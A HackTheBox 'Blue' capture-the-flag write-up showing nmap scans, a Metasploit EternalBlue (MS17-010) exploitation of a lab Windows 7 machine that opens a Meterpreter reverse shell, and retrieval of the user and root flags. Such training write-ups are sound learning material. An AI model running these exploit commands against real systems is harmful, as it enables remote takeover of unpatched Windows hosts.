

HackTheBox *Blue Write-Up*

Gilbert Garczynski

<https://www.hackthebox.com/machines/blue>



Contents

<i>Overview.....</i>	<i>2</i>
<i>Nmap Scan.....</i>	<i>2</i>
<i>Metasploit.....</i>	<i>3</i>
<i>User.txt.....</i>	<i>3</i>
<i>Root.txt.....</i>	<i>4</i>
<i>Conclusion/Pondering Thoughts.....</i>	<i>4</i>

Overview

Blue, while possibly the most simple machine on Hack The Box, demonstrates the severity of the EternalBlue exploit, which has been used in multiple large-scale ransomware and crypto-mining attacks since it was leaked publicly.

First we scan the target with an Nmap scan with no flags to see what is open:

```
[us-dedicated-111-dhcp]-[10.10.14.2]-[redacted]-[~]
[★]$ nmap 10.129.230.247
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-09 01:24 BST
Nmap scan report for 10.129.230.247
Host is up (0.084s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
49152/tcp  open  unknown
49153/tcp  open  unknown
49154/tcp  open  unknown
49155/tcp  open  unknown
49156/tcp  open  unknown
49157/tcp  open  unknown
```

Another scan with the -sVC flags yields results showing that Windows 7 is running.

```
PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

Host script results:
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|   System time: 2024-04-22T01:14:26+01:00
```

We can now utilize Eternal Blue through Metasploit.

```
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> set LHOST 10.10.14.2
LHOST => 10.10.14.2
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> set RHOST 10.129.230.247
RHOST => 10.129.230.247
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> exploit
```

```
[+] 10.129.230.247:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.129.230.247:445 - Sending egg to corrupted connection.
[*] 10.129.230.247:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 10.129.230.247
[*] Meterpreter session 1 opened (10.10.14.2:4444 -> 10.129.230.247:49158) at 2024-04-09 01:51:14 +0100
[+] 10.129.230.247:445 - =====
[+] 10.129.230.247:445 - =====WIN=====
[+] 10.129.230.247:445 - =====
```

```
(Meterpreter 1)(C:\Windows\system32) >
```

```
(Meterpreter 1)(C:\Users) -> ls 10.14.2-[ggpay@htb-b0gly2aie8]-[~]
Listing: C:\Users
```

```
=====
```

Mode	Size	Type	Last modified	Name
----	----	----	-----	----
040777/rwxrwxrwx	8192	dir	2017-07-21 07:56:36 +0100	Administrator
040777/rwxrwxrwx	0	dir	2009-07-14 06:08:56 +0100	All Users
040555/r-xr-xr-x	8192	dir	2009-07-14 08:07:31 +0100	Default
040777/rwxrwxrwx	0	dir	2009-07-14 06:08:56 +0100	Default User
040555/r-xr-xr-x	4096	dir	2011-04-12 08:51:29 +0100	Public
100666/rw-rw-rw-	174	fil	2009-07-14 05:54:24 +0100	desktop.ini
040777/rwxrwxrwx	8192	dir	2017-07-14 14:45:53 +0100	haris

CD to the user “haris” and then to the Desktop and we have the user.txt flag.

```
(Meterpreter 1)(C:\Users\haris\Desktop) > ls
Listing: C:\Users\haris\Desktop
=====
```

Mode	Size	Type	Last modified	Name
----	----	----	-----	----
100666/rw-rw-rw-	282	fil	2017-07-15 08:58:32 +0100	desktop.ini
100444/r--r--r--	34	fil	2024-04-09 01:24:33 +0100	user.txt

```
(Meterpreter 1)(C:\Users\haris\Desktop) > cat user.txt
.
```

Now for the root flag, which was in the Administrator user’s Desktop:

```
(Meterpreter 1)(C:\Users\Administrator) > cd Desktop\  
(Meterpreter 1)(C:\Users\Administrator\Desktop) > ls  
Listing: C:\Users\Administrator\Desktop  
=====
```

Mode	Size	Type	Last modified	Name
100666/rw-rw-rw-	282	fil	2017-07-21 07:56:40 +0100	desktop.ini
100444/r--r--r--	34	fil	2024-04-22 00:48:17 +0100	root.txt

```
  
(Meterpreter 1)(C:\Users\Administrator\Desktop) > cat root.txt  
[REDACTED]
```

Looking back at the overview this appears to be the easiest room on HTB, nonetheless, we got the flag!

Conclusion/Pondering Thoughts

Once I realized that this was an Eternal Blue Vulnerability, it was quite an easy room, however, it notably teaches the importance of upgrading your software!

```
$ cat root_flag.txt  
FLAG{1hank_you_4_$3ad!ng!}
```